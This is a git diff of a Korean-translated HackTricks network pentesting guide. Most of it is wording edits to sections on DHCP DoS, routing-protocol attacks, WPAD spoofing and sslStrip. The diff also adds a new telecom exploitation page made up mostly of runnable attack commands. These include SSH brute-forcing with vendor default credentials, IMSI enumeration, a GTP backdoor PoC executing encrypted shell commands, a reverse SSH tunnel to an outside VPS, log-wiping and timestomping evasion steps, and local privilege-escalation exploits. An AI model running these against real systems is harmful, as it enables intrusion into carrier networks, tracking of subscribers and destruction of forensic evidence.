VoIP 장치의 패킷을 모방하는 사용자 정의 패킷을 생성합니다. 3. **Spoof with Pre-made Packet Mode** (`-c 2`): 특정 Cisco IP 전화 모델의 패킷과 동일한 패킷을 전송합니다. -속도를 위한 선호 모드는 세 번째 모드입니다. 다음을 지정해야 합니다: +속도를 위해 선호되는 모드는 세 번째 모드입니다. 다음을 지정해야 합니다: -- 공격자의 네트워크 인터페이스(`-i` 매개변수). -- 에뮬레이트되는 VoIP 장치의 이름(`-E` 매개변수), Cisco 명명 형식(예: SEP 다음에 MAC 주소)을 준수해야 합니다. +- 공격자의 네트워크 인터페이스 (`-i` 매개변수). +- 에뮬레이트되는 VoIP 장치의 이름 (`-E` 매개변수), Cisco 명명 형식(예: MAC 주소 뒤에 SEP)을 준수해야 합니다. -기업 환경에서 기존 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다: +기업 환경에서 기존 VoIP 장치를 모방하려면 다음을 수행할 수 있습니다: - 전화기의 MAC 라벨을 검사합니다. - 전화기의 디스플레이 설정을 탐색하여 모델 정보를 확인합니다. @@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -**두 가지 유형의 DoS**가 DHCP 서버에 대해 수행될 수 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\ +**DoS의 두 가지 유형**은 DHCP 서버에 대해 수행될 수 있습니다. 첫 번째는 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\ 이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜을 완료할 수 있을 때만 작동합니다 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). 예를 들어, **Wifi 네트워크에서는 이것이 불가능합니다**. DHCP DoS를 수행하는 또 다른 방법은 **모든 가능한 IP를 소스 코드로 사용하여 DHCP-RELEASE 패킷을 보내는 것**입니다. 그러면 서버는 모든 사용자가 IP 사용을 마쳤다고 생각할 것입니다. @@ -514,9 +514,9 @@ yersinia dhcp -attack 3 #More parameters are needed - **보조 DNS 서버 IP**: 선택적으로 `-s 10.0.0.1`을 사용하여 보조 DNS 서버 IP를 설정합니다. - **로컬 네트워크의 넷마스크**: `-n 255.255.255.0`을 사용하여 로컬 네트워크의 넷마스크를 정의합니다. - **DHCP 트래픽을 위한 인터페이스**: `-I eth1`을 사용하여 특정 네트워크 인터페이스에서 DHCP 트래픽을 수신합니다. -- **WPAD 구성 주소**: `-w “http://10.0.0.100/wpad.dat”`을 사용하여 웹 트래픽 가로채기를 지원하는 WPAD 구성 주소를 설정합니다. +- **WPAD 구성 주소**: `-w “http://10.0.0.100/wpad.dat”`를 사용하여 웹 트래픽 가로채기를 지원하는 WPAD 구성 주소를 설정합니다. - **기본 게이트웨이 IP 스푸핑**: 기본 게이트웨이 IP 주소를 스푸핑하기 위해 `-S`를 포함합니다. -- **모든 DHCP 요청에 응답**: 모든 DHCP 요청에 응답하도록 서버를 설정하기 위해 `-R`을 포함하지만, 이는 소음이 많고 탐지될 수 있음을 유의해야 합니다. +- **모든 DHCP 요청에 응답**: 모든 DHCP 요청에 응답하도록 서버를 설정하기 위해 `-R`을 포함하지만, 이는 소음이 많고 감지될 수 있다는 점에 유의해야 합니다. 이 옵션들을 올바르게 사용함으로써, 네트워크 트래픽을 효과적으로 가로채기 위한 악성 DHCP 서버를 설정할 수 있습니다. ```python @@ -530,10 +530,10 @@ yersinia dhcp -attack 3 #More parameters are needed - EAP를 통한 능동적인 무차별 대입 비밀번호 공격 - 잘못된 EAP 콘텐츠로 RADIUS 서버 공격 _\*\*_(익스플로잇) - EAP 메시지 캡처 및 오프라인 비밀번호 크래킹 (EAP-MD5 및 PEAP) -- TLS 인증서 검증을 우회하기 위해 EAP-MD5 인증 강제화 +- TLS 인증서 검증을 우회하기 위해 EAP-MD5 인증 강제 - 허브 또는 유사한 장치를 사용하여 인증 시 악성 네트워크 트래픽 주입 -공격자가 피해자와 인증 서버 사이에 있다면, 그는 필요에 따라 인증 프로토콜을 EAP-MD5로 저하시키고 인증 시도를 캡처할 수 있습니다. 그런 다음, 그는 이를 무차별 대입으로 공격할 수 있습니다: +공격자가 피해자와 인증 서버 사이에 있다면, 그는 필요에 따라 인증 프로토콜을 EAP-MD5로 저하시키고 인증 시도를 캡처할 수 있습니다. 그런 다음, 그는 이를 다음과 같이 무차별 대입할 수 있습니다: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` @@ -549,20 +549,20 @@ glbp-and-hsrp-attacks.md ### RIP -라우팅 정보 프로토콜(RIP)의 세 가지 버전이 존재하는 것으로 알려져 있습니다: RIP, RIPv2, RIPng. RIP와 RIPv2는 UDP를 사용하여 포트 520을 통해 피어에게 데이터그램을 전송하며, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원합니다. 반면, RIPng는 기본 인증을 포함하지 않으며, 대신 IPv6 내에서 선택적 IPsec AH 및 ESP 헤더에 의존합니다. +라우팅 정보 프로토콜(RIP)의 세 가지 버전이 존재하는 것으로 알려져 있습니다: RIP, RIPv2, 및 RIPng. RIP 및 RIPv2는 UDP를 사용하여 포트 520을 통해 피어에게 데이터그램을 전송하는 반면, RIPng는 IPv6 멀티캐스트를 통해 UDP 포트 521로 데이터그램을 브로드캐스트합니다. RIPv2는 MD5 인증을 지원합니다. 반면, RIPng는 기본 인증을 포함하지 않으며, 대신 선택적 IPsec AH 및 ESP 헤더에 의존합니다. -- **RIP 및 RIPv2:** 통신은 포트 520에서 UDP 데이터그램을 통해 이루어집니다. +- **RIP 및 RIPv2:** 포트 520에서 UDP 데이터그램을 통해 통신합니다. - **RIPng:** IPv6 멀티캐스트를 통해 데이터그램을 브로드캐스트하기 위해 UDP 포트 521을 사용합니다. RIPv2는 MD5 인증을 지원하는 반면, RIPng는 기본 인증을 포함하지 않고 IPv6에서 IPsec AH 및 ESP 헤더에 의존합니다. ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. **거리 벡터 프로토콜입니다.** **인증**이 없고 수동 인터페이스가 구성되지 않은 경우, **침입자**가 EIGRP 라우팅에 간섭하고 **라우팅 테이블을 오염**시킬 수 있습니다. 또한, EIGRP 네트워크(즉, 자율 시스템)는 **평면이며 어떤 구역으로도 세분화되지 않습니다**. **공격자가 경로를 주입**하면 이 경로가 자율 EIGRP 시스템 전반에 **퍼질** 가능성이 높습니다. +**EIGRP (Enhanced Interior Gateway Routing Protocol)**는 동적 라우팅 프로토콜입니다. **거리 벡터 프로토콜입니다.** **인증**이 없고 수동 인터페이스가 구성되지 않은 경우, **침입자**가 EIGRP 라우팅에 간섭하여 **라우팅 테이블 오염**을 초래할 수 있습니다. 또한, EIGRP 네트워크(즉, 자율 시스템)는 **평면이며 어떤 구역으로도 분할되지 않습니다**. **공격자가 경로를 주입하면**, 이 경로가 자율 EIGRP 시스템 전반에 **퍼질 가능성이 높습니다**. -EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃을 설정**해야 하며, 이는 기본 정찰에서 다양한 주입에 이르기까지 많은 가능성을 열어줍니다. +EIGRP 시스템을 공격하려면 **합법적인 EIGRP 라우터와 이웃을 설정해야 하며**, 이는 기본 정찰에서 다양한 주입에 이르기까지 많은 가능성을 열어줍니다. -[**FRRouting**](https://frrouting.org/)은 **BGP, OSPF, EIGRP, RIP 및 기타 프로토콜을 지원하는 가상 라우터를 구현할 수 있게 해줍니다.** 이를 공격자의 시스템에 배포하기만 하면 실제로 라우팅 도메인에서 합법적인 라우터인 척할 수 있습니다. +[**FRRouting**](https://frrouting.org/)은 **BGP, OSPF, EIGRP, RIP 및 기타 프로토콜을 지원하는 가상 라우터를 구현할 수 있게 해줍니다.** 공격자의 시스템에 배포하기만 하면 실제로 라우팅 도메인에서 합법적인 라우터인 척할 수 있습니다. {{#ref}} eigrp-attacks.md @@ -572,10 +572,10 @@ eigrp-attacks.md ### OSPF -Open Shortest Path First (OSPF) 프로토콜에서는 **MD5 인증이 일반적으로 라우터 간의 안전한 통신을 보장하기 위해 사용됩니다**. 그러나 이 보안 조치는 Loki 및 John the Ripper와 같은 도구를 사용하여 손상될 수 있습니다. 이러한 도구는 MD5 해시를 캡처하고 크랙할 수 있어 인증 키를 노출시킵니다. 이 키를 얻으면 새로운 라우팅 정보를 도입하는 데 사용할 수 있습니다. 경로 매개변수를 구성하고 손상된 키를 설정하기 위해 각각 _Injection_ 및 _Connection_ 탭이 사용됩니다. +Open Shortest Path First (OSPF) 프로토콜에서는 **라우터 간의 안전한 통신을 보장하기 위해 MD5 인증이 일반적으로 사용됩니다**. 그러나 이 보안 조치는 Loki 및 John the Ripper와 같은 도구를 사용하여 손상될 수 있습니다. 이러한 도구는 MD5 해시를 캡처하고 해독할 수 있어 인증 키를 노출시킵니다. 이 키를 얻으면 새로운 라우팅 정보를 도입하는 데 사용할 수 있습니다. 경로 매개변수를 구성하고 손상된 키를 설정하기 위해 각각 _Injection_ 및 _Connection_ 탭이 사용됩니다. -- **MD5 해시 캡처 및 크랙:** Loki 및 John the Ripper와 같은 도구가 사용됩니다. -- **경로 매개변수 구성:** _Injection_ 탭을 통해 이루어집니다. +- **MD5 해시 캡처 및 해독:** Loki 및 John the Ripper와 같은 도구가 사용됩니다. +- **경로 매개변수 구성:** _Injection_ 탭을 통해 수행됩니다. - **손상된 키 설정:** 키는 _Connection_ 탭에서 구성됩니다. ### Other Generic Tools & Sources @@ -596,7 +596,7 @@ Check the [previous section](#arp-spoofing). ### ICMPRedirect -ICMP Redirect는 공격자가 IP에 도달하는 가장 좋은 방법임을 나타내는 ICMP 패킷 유형 1 코드 5를 전송하는 것입니다. 그런 다음 피해자가 IP에 연락하고자 할 때 패킷을 공격자를 통해 전송합니다. +ICMP Redirect는 공격자가 IP에 도달하는 가장 좋은 방법임을 나타내는 ICMP 패킷 유형 1 코드 5를 전송하는 것입니다. 그런 다음 피해자가 IP에 연락하고자 할 때 패킷을 공격자를 통해 전송하게 됩니다. ```bash Ettercap icmp_redirect @@ -635,18 +635,18 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ``` ### [LLMNR, NBT-NS 및 mDNS 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -DNS 조회가 실패할 때 로컬 호스트 해석을 위해 Microsoft 시스템은 **링크 로컬 멀티캐스트 이름 해석(LLMNR)** 및 **넷바이오스 이름 서비스(NBT-NS)**에 의존합니다. 유사하게, **Apple Bonjour** 및 **Linux 제로 구성** 구현은 네트워크 내 시스템을 발견하기 위해 **멀티캐스트 DNS(mDNS)**를 사용합니다. 이러한 프로토콜의 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해 공격자는 사용자를 악성 서비스로 리디렉션하기 위해 이를 악용할 수 있습니다. +DNS 조회가 실패할 때 로컬 호스트 해석을 위해 Microsoft 시스템은 **링크-로컬 멀티캐스트 이름 해석(LLMNR)** 및 **넷바이오스 이름 서비스(NBT-NS)**에 의존합니다. 유사하게, **Apple Bonjour** 및 **Linux 제로 구성** 구현은 네트워크 내 시스템을 발견하기 위해 **멀티캐스트 DNS(mDNS)**를 사용합니다. 이러한 프로토콜의 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해 공격자는 사용자를 악성 서비스로 리디렉션하기 위해 이를 악용할 수 있습니다. Responder를 사용하여 호스트가 검색하는 서비스를 가장하여 가짜 응답을 보낼 수 있습니다.\ [Responder로 서비스를 가장하는 방법에 대한 더 많은 정보는 여기에서 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [WPAD 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -브라우저는 일반적으로 **웹 프록시 자동 검색(WPAD) 프로토콜을 사용하여 프록시 설정을 자동으로 획득합니다**. 이는 "http://wpad.example.org/wpad.dat"와 같은 URL을 통해 서버에서 구성 세부정보를 가져오는 것을 포함합니다. 클라이언트가 이 서버를 발견하는 방법은 여러 가지가 있습니다: +브라우저는 **웹 프록시 자동 검색(WPAD) 프로토콜을 사용하여 프록시 설정을 자동으로 획득합니다**. 이는 "http://wpad.example.org/wpad.dat"와 같은 URL을 통해 서버에서 구성 세부정보를 가져오는 것을 포함합니다. 클라이언트가 이 서버를 발견하는 방법은 여러 가지가 있습니다: - **DHCP**를 통해, 여기서 발견은 특별한 코드 252 항목을 사용하여 촉진됩니다. - **DNS**를 통해, 이는 로컬 도메인 내에서 _wpad_라는 호스트 이름을 검색하는 것을 포함합니다. -- **Microsoft LLMNR 및 NBT-NS**를 통해, 이는 DNS 조회가 실패할 경우 사용되는 대체 메커니즘입니다. +- **Microsoft LLMNR 및 NBT-NS**를 통해, 이는 DNS 조회가 성공하지 못할 경우 사용되는 대체 메커니즘입니다. 도구 Responder는 **악성 WPAD 서버**로 작동하여 이 프로토콜을 이용합니다. DHCP, DNS, LLMNR 및 NBT-NS를 사용하여 클라이언트를 속여 자신에게 연결하도록 유도합니다. Responder를 사용하여 서비스를 가장하는 방법에 대해 더 깊이 알아보려면 [여기를 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neigh ``` ### IPv6 라우터 광고 스푸핑/플러딩 -일부 OS는 네트워크에서 전송된 RA 패킷으로부터 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다: +일부 운영 체제는 네트워크에서 전송된 RA 패킷으로부터 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 @@ -697,14 +697,14 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ### sslStrip+ 및 dns2proxy를 통한 HSTS 우회 -**sslStrip+와 dns2proxy**의 **차이점**은 **sslStrip**에 비해 **예를 들어 _**www.facebook.com**_을 _**wwww.facebook.com**_으로 **리다이렉트**한다는 것입니다** (여기서 **추가된** "**w**"에 주목하세요) 그리고 **이 도메인의 주소를 공격자 IP로 설정**합니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ **(공격자)**에 **연결**하지만, 뒤에서는 **sslstrip+**가 **www.facebook.com**과의 **실제 연결**을 **유지**합니다. +**sslStrip+와 dns2proxy**의 **차이점**은 **sslStrip**에 비해 **예를 들어** _**www.facebook.com**_ **을** _**wwww.facebook.com**_ **로** **리디렉션**한다는 것입니다 (여기서 **추가된** "**w**"에 주목하세요) 그리고 **이 도메인의 주소를 공격자 IP로 설정**합니다. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ **(공격자)**에 **연결**하지만, 뒤에서는 **sslstrip+**가 **www.facebook.com**과의 **실제 연결**을 **유지**합니다. 이 기술의 **목표**는 **HSTS를 피하는 것**입니다. 왜냐하면 _**wwww**.facebook.com_ **은** 브라우저의 **캐시에** 저장되지 않기 때문에 브라우저는 **HTTP로 facebook 인증을 수행하도록 속일 수 있습니다**.\ 이 공격을 수행하기 위해서는 피해자가 처음에 [http://www.faceook.com](http://www.faceook.com)에 접근해야 하며, https가 아니어야 합니다. 이는 http 페이지 내의 링크를 수정하여 수행할 수 있습니다. 더 많은 정보는 [여기](https://www.bettercap.org/legacy/#hsts-bypass), [여기](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 및 [여기](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)에서 확인하세요. -**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 HSTS 규칙이 미리 저장되어 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 접근하더라도 HTTPS를 통해 접근하게 됩니다. 또한, 미리 저장된 규칙과 다른 생성된 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로, 이전의 _**wwww.facebook.com**_ 예시는 _**facebook.com**_이 `includeSubdomains`와 함께 HSTS를 사용하기 때문에 더 이상 작동하지 않습니다.** +**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 HSTS 규칙이 미리 저장되어 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 접근하더라도 HTTPS를 통해 접근하게 됩니다. 또한, 미리 저장된 규칙과 다른 생성된 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로, 이전의 _**wwww.facebook.com**_ **예제는 더 이상 작동하지 않습니다. 왜냐하면** _**facebook.com**_ **이 HSTS를 `includeSubdomains`와 함께 사용하기 때문입니다.** TODO: easy-creds, evilgrade, metasploit, factory @@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` -#### 인증서를 사용하여 수신하기 +#### 인증서를 사용하여 수신 대기 ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` @@ -734,9 +734,9 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` 때때로 클라이언트가 CA가 유효한지 확인하면, **CA에 의해 서명된 다른 호스트 이름의 인증서를 제공할 수 있습니다**.\ -또 다른 흥미로운 테스트는 **요청된 호스트 이름의 인증서를 제공하지만 자체 서명된** 것입니다. +또 다른 흥미로운 테스트는 **요청된 호스트 이름의 인증서를 제공하되, 자체 서명된** 것입니다. -테스트할 다른 사항은 유효한 CA가 아닌 유효한 인증서로 인증서에 서명하려고 시도하는 것입니다. 또는 유효한 공개 키를 사용하고, 실제 개인 키로 아무것도 복호화할 필요가 없는 알고리즘인 디피 헬만을 강제로 사용하며, 클라이언트가 실제 개인 키의 프로브(예: 해시)를 요청할 때 가짜 프로브를 보내고 클라이언트가 이를 확인하지 않기를 기대하는 것입니다. +테스트할 다른 사항은 유효한 CA가 아닌 유효한 인증서로 인증서에 서명해 보거나, 유효한 공개 키를 사용하여 Diffie-Hellman과 같은 알고리즘을 강제로 사용하고(실제 개인 키로 아무것도 복호화할 필요가 없는 알고리즘) 클라이언트가 실제 개인 키의 프로브(해시와 같은)를 요청할 때 가짜 프로브를 보내고 클라이언트가 이를 확인하지 않기를 기대하는 것입니다. ## Bettercap ```bash @@ -770,11 +770,11 @@ UDP 패킷이 요청된 포트가 없는 장치로 전송될 때 ICMP (Port Unre ### **ARP discover** -ARP 패킷은 네트워크 내에서 어떤 IP가 사용되고 있는지를 발견하는 데 사용됩니다. PC는 가능한 각 IP 주소에 대해 요청을 보내야 하며, 사용 중인 IP만 응답합니다. +ARP 패킷은 네트워크 내에서 사용 중인 IP를 발견하는 데 사용됩니다. PC는 가능한 각 IP 주소에 대해 요청을 보내야 하며, 사용 중인 IP만 응답합니다. ### **mDNS (multicast DNS)** -Bettercap은 **\_services\_.dns-sd.\_udp.local**에 대한 MDNS 요청을 (매 X ms마다) 보내며, 이 패킷을 보는 머신은 일반적으로 이 요청에 응답합니다. 그런 다음 "services"에 응답하는 머신만 검색합니다. +Bettercap은 **\_services\_.dns-sd.\_udp.local**에 대한 MDNS 요청을 (매 X ms마다) 전송하며, 이 패킷을 보는 머신은 일반적으로 이 요청에 응답합니다. 그런 다음 "services"에 응답하는 머신만 검색합니다. **Tools** @@ -784,15 +784,22 @@ Bettercap은 **\_services\_.dns-sd.\_udp.local**에 대한 MDNS 요청을 (매 X ### **NBNS (NetBios Name Server)** -Bettercap은 이름 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"에 대해 포트 137/UDP로 브로드캐스트 패킷을 전송합니다. +Bettercap은 이름 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"를 요청하는 패킷을 포트 137/UDP로 브로드캐스트합니다. ### **SSDP (Simple Service Discovery Protocol)** -Bettercap은 모든 종류의 서비스를 검색하기 위해 SSDP 패킷을 브로드캐스트합니다 (UDP 포트 1900). +Bettercap은 모든 종류의 서비스를 검색하는 SSDP 패킷을 브로드캐스트합니다 (UDP 포트 1900). ### **WSD (Web Service Discovery)** -Bettercap은 서비스를 검색하기 위해 WSD 패킷을 브로드캐스트합니다 (UDP 포트 3702). +Bettercap은 서비스를 검색하는 WSD 패킷을 브로드캐스트합니다 (UDP 포트 3702). + + +### Telecom / Mobile-Core (GTP) Exploitation + +{{#ref}} +telecom-network-exploitation.md +{{#endref}} ## References @@ -801,4 +808,6 @@ Bettercap은 서비스를 검색하기 위해 WSD 패킷을 브로드캐스트 - **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md new file mode 100644 index 000000000..a4eda0645 --- /dev/null +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -0,0 +1,140 @@ +# Telecom Network Exploitation (GTP / Roaming Environments) + +{{#include ../../banners/hacktricks-training.md}} + +> [!NOTE] +> 모바일 코어 프로토콜(GPRS 터널링 프로토콜 – GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다. + +## 1. Recon & Initial Access + +### 1.1 Default OSS / NE Accounts +놀랍게도 많은 벤더 네트워크 요소는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`와 같은 하드코딩된 SSH/Telnet 사용자와 함께 제공됩니다. 전용 단어 목록은 무차별 대입 성공률을 극적으로 증가시킵니다: +```bash +hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt +``` +장치가 관리 VRF만 노출하는 경우, 먼저 점프 호스트를 통해 피벗합니다(아래 «SGSN Emu Tunnel» 섹션 참조). + +### 1.2 GRX/IPX 내 호스트 검색 +대부분의 GRX 운영자는 여전히 백본을 통해 **ICMP echo**를 허용합니다. `masscan`을 내장된 `gtpv1` UDP 프로브와 결합하여 GTP-C 리스너를 신속하게 매핑합니다: +```bash +masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 +``` +## 2. 구독자 열거하기 – `cordscan` + +다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI를 제공하는 현재 **SGSN / MME**를 드러내며, 때때로 구독자가 방문한 PLMN도 나타냅니다. +```bash +# Build +GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan + +# Usage (typical): +./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap +``` +주요 플래그: +- `--imsi` 대상 가입자 IMSI +- `--oper` 홈 / HNI (MCC+MNC) +- `-w` 원시 패킷을 pcap에 기록 + +이진 파일 내의 중요한 상수는 스캔을 확장하기 위해 패치할 수 있습니다: +``` +pingtimeout = 3 // seconds before giving up +pco = 0x218080 +common_tcp_ports = "22,23,80,443,8080" +``` +## 3. 코드 실행 GTP를 통한 – `GTPDoor` + +`GTPDoor`는 **UDP 2123에 바인딩하고 모든 수신 GTP-C 패킷을 파싱하는** 작은 ELF 서비스입니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화(AES-128-CBC)되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내에서 유출되어 외부 세션이 생성되지 않도록 합니다. + +최소 PoC 패킷 (Python): +```python +import gtpc, Crypto.Cipher.AES as AES +key = b"SixteenByteKey!" +cmd = b"id;uname -a" +enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) +print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) +``` +탐지: +* **불균형 에코 요청**을 SGSN IP로 전송하는 호스트 +* 메시지 유형 = 1(에코)일 때 GTP 버전 플래그가 1로 설정됨 – 사양에서의 편차 + +## 4. 코어를 통한 피벗팅 + +### 4.1 `sgsnemu` + SOCKS5 +`OsmoGGSN`은 **실제 GGSN/PGW에 대한 PDP 컨텍스트를 설정할 수 있는 SGSN 에뮬레이터**를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 수신합니다. +```bash +sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ +-APN internet -c 1 -d +ip route add 172.16.0.0/12 dev tun0 +microsocks -p 1080 & # internal SOCKS proxy +``` +적절한 방화벽 헤어핀을 사용하면 이 터널이 신호 전용 VLAN을 우회하고 **데이터 평면**에 직접 도달합니다. + +### 4.2 포트 53을 통한 SSH 리버스 터널 +DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아옵니다: +```bash +ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com +``` +`GatewayPorts yes`가 VPS에서 활성화되어 있는지 확인하십시오. + +## 5. 은밀한 채널 + +| 채널 | 전송 | 디코딩 | 비고 | +|---------|-----------|----------|-------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4바이트 키 + 14바이트 청크 (XOR) | 순수 수동 리스너, 아웃바운드 트래픽 없음 | +| DNS – `NoDepDNS` | UDP 53 | XOR (키 = `funnyAndHappy`) A 레코드 옥텟에 인코딩 | `*.nodep` 서브 도메인 감시 | +| GTP – `GTPDoor` | UDP 2123 | 개인 IE에 AES-128-CBC 블롭 | 합법적인 GTP-C 대화와 혼합 | + +모든 임플란트는 **타임스톱**하여 이진 파일을 감시하고 충돌 시 재생성합니다. + +## 6. 방어 회피 치트시트 +```bash +# Remove attacker IPs from wtmp +utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp + +# Disable bash history +export HISTFILE=/dev/null + +# Masquerade as kernel thread +echo 0 > /proc/$$/autogroup # hide from top/htop +printf '\0' > /proc/$$/comm # appears as [kworker/1] + +touch -r /usr/bin/time /usr/bin/chargen # timestomp +setenforce 0 # disable SELinux +``` +## 7. 레거시 NE에서의 권한 상승 +```bash +# DirtyCow – CVE-2016-5195 +gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd + +# PwnKit – CVE-2021-4034 +python3 PwnKit.py + +# Sudo Baron Samedit – CVE-2021-3156 +python3 exploit_userspec.py +``` +정리 팁: +```bash +userdel firefart 2>/dev/null +rm -f /tmp/sh ; history -c +``` +## 8. 도구 상자 + +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 사용자 정의 도구. +* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`) +* `Responder` : LLMNR/NBT-NS 악성 WPAD +* `Microsocks` + `ProxyChains` : 경량 SOCKS5 피벗 +* `FRP` (≥0.37) : NAT 우회 / 자산 브리징 + +--- +## 탐지 아이디어 +1. **PDP 컨텍스트 요청을 생성하는 SGSN/GGSN 이외의 모든 장치**. +2. **내부 IP로부터 SSH 핸드셰이크를 수신하는 비표준 포트 (53, 80, 443)**. +3. **상응하는 에코 응답 없이 빈번한 에코 요청** – GTPDoor 비콘을 나타낼 수 있음. +4. **큰 비제로 식별자/시퀀스 필드를 가진 ICMP 에코 응답 트래픽의 높은 비율**. + +## 참고 문헌 + +- [Palo Alto Unit42 – 글로벌 통신 네트워크 침투](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – GPRS 터널링 프로토콜 (v16.4.0) +- 3GPP TS 29.281 – GTPv2-C (v17.6.0) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index aae286965..08e800e4e 100644 --- a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -9,7 +9,7 @@ #### 구성 파일 - **Solaris 및 UNIX 기반 시스템**은 일반적으로 `/etc/pam.conf`에 위치한 중앙 구성 파일을 사용합니다. -- **Linux 시스템**은 디렉토리 방식을 선호하며, 서비스별 구성을 `/etc/pam.d`에 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은 `/etc/pam.d/login`에 있습니다. +- **Linux 시스템**은 디렉토리 방식을 선호하며, `/etc/pam.d` 내에 서비스별 구성을 저장합니다. 예를 들어, 